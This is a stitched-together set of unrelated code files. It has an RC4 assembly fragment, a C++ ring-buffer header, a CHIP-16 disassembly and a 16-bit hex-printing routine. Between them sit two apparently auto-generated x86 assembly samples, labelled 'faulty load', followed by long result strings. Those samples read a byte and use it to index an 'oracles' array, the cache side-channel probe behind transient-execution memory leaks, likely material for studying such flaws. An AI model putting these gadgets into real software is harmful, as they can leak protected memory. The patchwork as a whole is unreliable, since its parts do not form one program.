.text$ ENDS .pdata SEGMENT READONLY ALIGN(4) ALIGN 4 DD imagerel $L$SEH_begin_RC4 DD imagerel $L$SEH_end_RC4 DD imagerel $L$SEH_info_RC4 DD imagerel $L$SEH_begin_RC4_set_key DD imagerel $L$SEH_end_RC4_set_key DD imagerel $L$SEH_info_RC4_set_key .pdata ENDS .xdata SEGMENT READONLY ALIGN(8) ALIGN 8 $L$SEH_info_RC4:: DB 9,0,0,0 DD imagerel stream_se_handler $L$SEH_info_RC4_set_key:: DB 9,0,0,0 DD imagerel key_se_handler .xdata ENDS END
// MIT License // // Copyright (c) 2020, The Regents of the University of California, // through Lawrence Berkeley National Laboratory (subject to receipt of any // required approvals from the U.S. Dept. of Energy). All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #pragma once #include <algorithm> #include <cmath> #include <functional> #include <iomanip> #include <iostream> #include <sstream> #include <stdexcept> #include <utility> #include <vector> namespace tim { namespace data_storage { template <typename Tp> struct ring_buffer; } // namespace base { /// \struct tim::base::ring_buffer /// \brief Ring buffer implementation, with support for mmap as backend (Linux only). struct ring_buffer { template <typename Tp> friend struct data_storage::ring_buffer; ring_buffer() = default; explicit ring_buffer(bool _use_mmap) { set_use_mmap(_use_mmap); } explicit ring_buffer(size_t _size) { init(_size); } ring_buffer(size_t _size, bool _use_mmap); ~ring_buffer(); ring_buffer(const ring_buffer&); ring_buffer(ring_buffer&&) noexcept = delete; ring_buffer& operator=(const ring_buffer&); ring_buffer& operator=(ring_buffer&&) noexcept = delete; /// Returns whether the buffer has been allocated bool is_initialized() const { return m_init; } /// Get the total number of bytes supported size_t capacity() const { return m_size; } /// Creates new ring buffer. void init(size_t size); /// Destroy ring buffer. void destroy(); /// Write class-type data to buffer (uses placement new). template <typename Tp> std::pair<size_t, Tp*> write(Tp* in, std::enable_if_t<std::is_class<Tp>::value, int> = 0); /// Write non-class-type data to buffer (uses memcpy). template <typename Tp> std::pair<size_t, Tp*> write(Tp* in, std::enable_if_t<!std::is_class<Tp>::value, int> = 0); /// Request a pointer to an allocation. This is similar to a "write" except the /// memory is uninitialized. Typically used by allocators. If Tp is a class type, /// be sure to use a placement new instead of a memcpy. template <typename Tp> Tp* request(); /// Request a pointer to an allocation for at least \param n bytes. void* request(size_t n); /// Read class-type data from buffer (uses placement new). template <typename Tp> std::pair<size_t, Tp*> read( Tp* out, std::enable_if_t<std::is_class<Tp>::value, int> = 0) const; /// Read non-class-type data from buffer (uses memcpy). template <typename Tp> std::pair<size_t, Tp*> read( Tp* out, std::enable_if_t<!std::is_class<Tp>::value, int> = 0) const; /// Retrieve a pointer to the head allocation (read). template <typename Tp> Tp* retrieve(); /// Retrieve a pointer to the head allocation of at least \param n bytes (read). void* retrieve(size_t n); /// Returns number of bytes currently held by the buffer. size_t count() const { return (m_write_count - m_read_count); } /// Returns how many bytes are availiable in the buffer. size_t free() const { return (m_size - count()); } /// Returns if the buffer is empty. bool is_empty() const { return (count() == 0); } /// Returns if the buffer is full. bool is_full() const { return (count() == m_size); } /// Rewind the read position n bytes size_t rewind(size_t n) const; /// explicitly configure to use mmap if avail void set_use_mmap(bool); /// query whether using mmap bool get_use_mmap() const { return m_use_mmap; } std::string as_string() const; friend std::ostream& operator<<(std::ostream& os, const ring_buffer& obj) { return os << obj.as_string(); } private: /// Returns the current write pointer. void* write_ptr() const { return static_cast<char*>(m_ptr) + (m_write_count % m_size); } /// Returns the current read pointer. void* read_ptr() const { return static_cast<char*>(m_ptr) + (m_read_count % m_size); } private: bool m_init = false; bool m_use_mmap = true; bool m_use_mmap_explicit = false; int m_fd = 0; void* m_ptr = nullptr; size_t m_size = 0; mutable size_t m_read_count = 0; size_t m_write_count = 0; }; // template <typename Tp> std::pair<size_t, Tp*> ring_buffer::write(Tp* in, std::enable_if_t<std::is_class<Tp>::value, int>) { if(in == nullptr || m_ptr == nullptr) return { 0, nullptr }; auto _length = sizeof(Tp); // Make sure we don't put in more than there's room for, by writing no // more than there is free. if(_length > free()) throw std::runtime_error("heap-buffer-overflow :: ring buffer is full. read data " "to avoid data corruption"); // if write count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_write_count % m_size); if(_modulo < _length) m_write_count += _modulo; // pointer in buffer Tp* out = reinterpret_cast<Tp*>(write_ptr()); // Copy in. new((void*) out) Tp{ std::move(*in) }; // Update write count m_write_count += _length; return { _length, out }; } // template <typename Tp> std::pair<size_t, Tp*> ring_buffer::write(Tp* in, std::enable_if_t<!std::is_class<Tp>::value, int>) { if(in == nullptr || m_ptr == nullptr) return { 0, nullptr }; auto _length = sizeof(Tp); // Make sure we don't put in more than there's room for, by writing no // more than there is free. if(_length > free()) throw std::runtime_error("heap-buffer-overflow :: ring buffer is full. read data " "to avoid data corruption"); // if write count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_write_count % m_size); if(_modulo < _length) m_write_count += _modulo; // pointer in buffer Tp* out = reinterpret_cast<Tp*>(write_ptr()); // Copy in. memcpy((void*) out, in, _length); // Update write count m_write_count += _length; return { _length, out }; } // template <typename Tp> Tp* ring_buffer::request() { if(m_ptr == nullptr) return nullptr; auto _length = sizeof(Tp); // Make sure we don't put in more than there's room for, by writing no // more than there is free. if(_length > free()) throw std::runtime_error("heap-buffer-overflow :: ring buffer is full. read data " "to avoid data corruption"); // if write count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_write_count % m_size); if(_modulo < _length) m_write_count += _modulo; // pointer in buffer Tp* _out = reinterpret_cast<Tp*>(write_ptr()); // Update write count m_write_count += _length; return _out; } // template <typename Tp> std::pair<size_t, Tp*> ring_buffer::read(Tp* out, std::enable_if_t<std::is_class<Tp>::value, int>) const { if(is_empty() || out == nullptr) return { 0, nullptr }; auto _length = sizeof(Tp); // Make sure we do not read out more than there is actually in the buffer. if(_length > count()) throw std::runtime_error("ring buffer is empty"); // if read count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_read_count % m_size); if(_modulo < _length) m_read_count += _modulo; // pointer in buffer Tp* in = reinterpret_cast<Tp*>(read_ptr()); // Copy out for BYTE, nothing magic here. *out = *in; // Update read count. m_read_count += _length; return { _length, in }; } // template <typename Tp> std::pair<size_t, Tp*> ring_buffer::read(Tp* out, std::enable_if_t<!std::is_class<Tp>::value, int>) const { if(is_empty() || out == nullptr) return { 0, nullptr }; auto _length = sizeof(Tp); using Up = typename std::remove_const<Tp>::type; // Make sure we do not read out more than there is actually in the buffer. if(_length > count()) throw std::runtime_error("ring buffer is empty"); // if read count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_read_count % m_size); if(_modulo < _length) m_read_count += _modulo; // pointer in buffer Tp* in = reinterpret_cast<Tp*>(read_ptr()); // Copy out for BYTE, nothing magic here. Up* _out = const_cast<Up*>(out); memcpy(_out, in, _length); // Update read count. m_read_count += _length; return { _length, in }; } // template <typename Tp> Tp* ring_buffer::retrieve() { if(m_ptr == nullptr) return nullptr; auto _length = sizeof(Tp); // Make sure we don't put in more than there's room for, by writing no // more than there is free. if(_length > count()) throw std::runtime_error("ring buffer is empty"); // if read count is at the tail of buffer, bump to the end of buffer auto _modulo = m_size - (m_read_count % m_size); if(_modulo < _length) m_read_count += _modulo; // pointer in buffer Tp* _out = reinterpret_cast<Tp*>(read_ptr()); // Update write count m_read_count += _length; return _out; } // } // namespace base // namespace data_storage { /// \struct tim::data_storage::ring_buffer /// \brief Ring buffer wrapper around \ref tim::base::ring_buffer for data of type Tp. If /// the data object size is larger than the page size (typically 4KB), behavior is /// undefined. During initialization, one requests a minimum number of objects and the /// buffer will support that number of object + the remainder of the page, e.g. if a page /// is 1000 bytes, the object is 1 byte, and the buffer is requested to support 1500 /// objects, then an allocation supporting 2000 objects (i.e. 2 pages) will be created. template <typename Tp> struct ring_buffer : private base::ring_buffer { using base_type = base::ring_buffer; ring_buffer() = default; ~ring_buffer() = default; explicit ring_buffer(bool _use_mmap) : base_type{ _use_mmap } {} explicit ring_buffer(size_t _size) : base_type{ _size * sizeof(Tp) } {} ring_buffer(size_t _size, bool _use_mmap) : base_type{ _size * sizeof(Tp), _use_mmap } {} ring_buffer(const ring_buffer&); ring_buffer(ring_buffer&&) noexcept = default; ring_buffer& operator=(const ring_buffer&); ring_buffer& operator=(ring_buffer&&) noexcept = default; /// Returns whether the buffer has been allocated bool is_initialized() const { return base_type::is_initialized(); } /// Get the total number of Tp instances supported size_t capacity() const { return (base_type::capacity()) / sizeof(Tp); } /// Creates new ring buffer. void init(size_t _size) { base_type::init(_size * sizeof(Tp)); } /// Destroy ring buffer. void destroy() { base_type::destroy(); } /// Write data to buffer. size_t data_size() const { return sizeof(Tp); } /// Write data to buffer. Return pointer to location of write Tp* write(Tp* in) { return add_copy(base_type::write<Tp>(in).second); } /// Read data from buffer. Return pointer to location of read Tp* read(Tp* out) const { return remove_copy(base_type::read<Tp>(out).second); } /// Get an uninitialized address at tail of buffer. Tp* request() { return add_copy(base_type::request<Tp>()); } /// Read data from head of buffer. Tp* retrieve() { return remove_copy(base_type::retrieve<Tp>()); } /// Returns number of Tp instances currently held by the buffer. size_t count() const { return (base_type::count()) / sizeof(Tp); } /// Returns how many Tp instances are availiable in the buffer. size_t free() const { return (base_type::free()) / sizeof(Tp); } /// Returns if the buffer is empty. bool is_empty() const { return base_type::is_empty(); } /// Returns if the buffer is full. bool is_full() const { return (base_type::free() < sizeof(Tp)); } /// Rewinds the read pointer size_t rewind(size_t n) const { return base_type::rewind(n); } template <typename... Args> auto emplace(Args&&... args) { Tp _obj{ std::forward<Args>(args)... }; return write(&_obj); } using base_type::get_use_mmap; using base_type::set_use_mmap; std::string as_string() const { std::ostringstream ss{}; size_t _w = std::log10(base_type::capacity()) + 1; ss << std::boolalpha << std::right << "data size: " << std::setw(_w) << data_size() << " B, is_initialized: " << std::setw(5) << is_initialized() << ", is_empty: " << std::setw(5) << is_empty() << ", is_full: " << std::setw(5) << is_full() << ", capacity: " << std::setw(_w) << capacity() << ", count: " << std::setw(_w) << count() << ", free: " << std::setw(_w) << free() << ", raw capacity: " << std::setw(_w) << base_type::capacity() << " B, raw count: " << std::setw(_w) << base_type::count() << " B, raw free: " << std::setw(_w) << base_type::free() << " B, pointer: " << std::setw(15) << base_type::m_ptr << ", raw read count: " << std::setw(_w) << base_type::m_read_count << ", raw write count: " << std::setw(_w) << base_type::m_write_count; return ss.str(); } friend std::ostream& operator<<(std::ostream& os, const ring_buffer& obj) { return os << obj.as_string(); } private: using copy_function_t = std::function<void(ring_buffer&, Tp*)>; using copy_entry_t = std::pair<Tp*, copy_function_t>; Tp* add_copy(Tp*) const; Tp* remove_copy(Tp*) const; mutable std::vector<copy_entry_t> m_copy = {}; }; // template <typename Tp> ring_buffer<Tp>::ring_buffer(const ring_buffer<Tp>& rhs) : base_type{ rhs } { for(const auto& itr : rhs.m_copy) itr.second(*this, itr.first); } // template <typename Tp> ring_buffer<Tp>& ring_buffer<Tp>::operator=(const ring_buffer<Tp>& rhs) { if(this == &rhs) return *this; base_type::operator=(rhs); for(const auto& itr : rhs.m_copy) itr.second(*this, itr.first); return *this; } // template <typename Tp> Tp* ring_buffer<Tp>::add_copy(Tp* _v) const { auto _copy_func = [](ring_buffer& _rb, Tp* _ptr) { _rb.write(_ptr); }; auto itr = m_copy.begin(); for(; itr != m_copy.end(); ++itr) { if(itr->first == _v) { itr->second = std::move(_copy_func); break; } } if(itr == m_copy.end()) m_copy.emplace_back(_v, std::move(_copy_func)); return _v; } // template <typename Tp> Tp* ring_buffer<Tp>::remove_copy(Tp* _v) const { m_copy.erase( std::remove_if(m_copy.begin(), m_copy.end(), [_v](const copy_entry_t& _entry) { return _entry.first == _v; }), m_copy.end()); return _v; } // } // namespace data_storage // } // namespace tim #if !defined(TIMEMORY_COMMON_SOURCE) && !defined(TIMEMORY_USE_COMMON_EXTERN) # if !defined(TIMEMORY_RING_BUFFER_INLINE) # define TIMEMORY_RING_BUFFER_INLINE inline # endif # include "timemory/storage/ring_buffer.cpp" #else # if !defined(TIMEMORY_RING_BUFFER_INLINE) # define TIMEMORY_RING_BUFFER_INLINE # endif #endif
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rsi lea addresses_normal_ht+0x16512, %rax nop nop nop nop nop inc %r11 mov (%rax), %esi inc %r14 pop %rsi pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r9 push %rax push %rbx // Store lea addresses_UC+0x9a6a, %r10 nop xor %r14, %r14 movl $0x51525354, (%r10) nop sub %r10, %r10 // Faulty Load lea addresses_WT+0x1e8a2, %rbx xor $22002, %r9 movb (%rbx), %r11b lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rbx pop %rax pop %r9 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_UC', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 3}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
0000 CLS 0004 SPR 04, 04 0008 BGC 3 000c LDIR 0, 0a20 0010 LDIR 0, 0b20 0014 LDIR 0, 0020 0018 LDIR 0, 0120 001c LDIR 0, 0220 0020 LDIR 0, 0320 0024 LDIR 0, 0420 0028 LDIR 0, 0520 002c LDIR 0, 0620 0030 LDIR 0, 0d20 0034 LDIR 0, 0e20 0038 LDIR 0, 0f20 003c SUBR3 2, 2, 2 0040 JX N, 0012 0044 JX N, 0912 0048 SUBR3 2, 2, 2 004c JX N, 0012 0050 JX N, 0912 0054 JMPI 0010 0058 MOV 4, 4 005c MOV 4, 4 0060 JMPI 0010 0064 MOV 4, 4 0068 MOV 4, 4 006c SUBR3 2, 2, 2 0070 JX N, 0012 0074 JX N, 0912 0078 SUBR3 2, 2, 2 007c JX N, 0012 0080 JX N, 0912 0084 JMPI 0010 0088 MOV 4, 4 008c MOV 4, 4 0090 JMPI 0010 0094 MOV 4, 4 0098 MOV 4, 4 009c JME 3, 3, f013 00a0 JMPI 0010 00a4 SUBR2 1, 1 00a8 JMPI 0010 00ac ADDR2 1, 1 00b0 JME 3, 3, f113 00b4 JMPI 0010 00b8 SUBR2 1, 1 00bc JMPI 0010 00c0 ADDR2 1, 1 00c4 CLS 00c8 DRWI 5, 5, ba05 00cc VBLNK 00d0 JMPI 0010 00d4
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xa6e4, %rsi lea addresses_A_ht+0xb2f7, %rdi clflush (%rdi) nop nop nop and $1390, %r14 mov $5, %rcx rep movsw nop nop nop nop nop xor %rdx, %rdx lea addresses_WT_ht+0x17fc3, %rsi lea addresses_normal_ht+0x1b8bb, %rdi nop nop nop lfence mov $96, %rcx rep movsb nop nop and $58172, %rbp lea addresses_WC_ht+0xbbbb, %rsi nop nop nop nop nop and %r14, %r14 vmovups (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdi nop nop nop xor $38870, %rcx lea addresses_WT_ht+0xc21b, %rcx nop nop nop and $40071, %r14 mov (%rcx), %dx nop nop nop nop nop dec %r14 lea addresses_UC_ht+0xc839, %rsi lea addresses_WT_ht+0x1c3bb, %rdi clflush (%rsi) nop nop nop inc %rdx mov $53, %rcx rep movsb and $36166, %rbp lea addresses_A_ht+0x32fb, %rbp clflush (%rbp) nop xor %rdx, %rdx and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rcx nop cmp $37524, %rbp lea addresses_UC_ht+0x984b, %r14 nop nop nop xor $11714, %r9 mov $0x6162636465666768, %rdi movq %rdi, (%r14) nop nop nop and $29287, %rdi lea addresses_A_ht+0x11f08, %r9 inc %r14 vmovups (%r9), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdx nop nop nop sub %r14, %r14 lea addresses_normal_ht+0x2ebb, %r9 nop and $26255, %rsi vmovups (%r9), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rcx sub $11969, %r9 lea addresses_UC_ht+0x141bb, %rsi lea addresses_normal_ht+0xfb03, %rdi nop nop and $14106, %r13 mov $111, %rcx rep movsl nop nop nop nop nop cmp $51689, %rcx lea addresses_A_ht+0x6627, %rdx nop nop nop mfence mov $0x6162636465666768, %rcx movq %rcx, (%rdx) nop nop nop nop sub $35748, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r9 push %rbx push %rdi // Faulty Load lea addresses_normal+0x69bb, %r11 nop and %r13, %r13 movb (%r11), %bl lea oracles, %r9 and $0xff, %rbx shlq $12, %rbx mov (%r9,%rbx,1), %rbx pop %rdi pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
; receiving the data in 'dx' ; For the examples we'll assume that we're called with dx=0x1234 print_hex: pusha mov cx, 0 ; our index variable ; Strategy: get the last char of 'dx', then convert to ASCII ; Numeric ASCII values: '0' (ASCII 0x30) to '9' (0x39), so just add 0x30 to byte N. ; For alphabetic characters A-F: 'A' (ASCII 0x41) to 'F' (0x46) we'll add 0x40 ; Then, move the ASCII byte to the correct position on the resulting string hex_loop: cmp cx, 4 ; loop 4 times je end ; 1. convert last char of 'dx' to ascii mov ax, dx ; we will use 'ax' as our working register and ax, 0x000f ; 0x1234 -> 0x0004 by masking first three to zeros add al, 0x30 ; add 0x30 to N to convert it to ASCII "N" cmp al, 0x39 ; if > 9, add extra 8 to represent 'A' to 'F' jle step2 add al, 7 ; 'A' is ASCII 65 instead of 58, so 65-58=7 step2: ; 2. get the correct position of the string to place our ASCII char ; bx <- base address + string length - index of char mov bx, HEX_OUT + 5 ; base + length sub bx, cx ; our index variable mov [bx], al ; copy the ASCII char on 'al' to the position pointed by 'bx' ror dx, 4 ; 0x1234 -> 0x4123 -> 0x3412 -> 0x2341 -> 0x1234 ; increment index and loop add cx, 1 jmp hex_loop end: ; prepare the parameter and call the function ; remember that print receives parameters in 'bx' mov bx, HEX_OUT call print popa ret HEX_OUT: db '0x0000',0 ; reserve memory for our new string
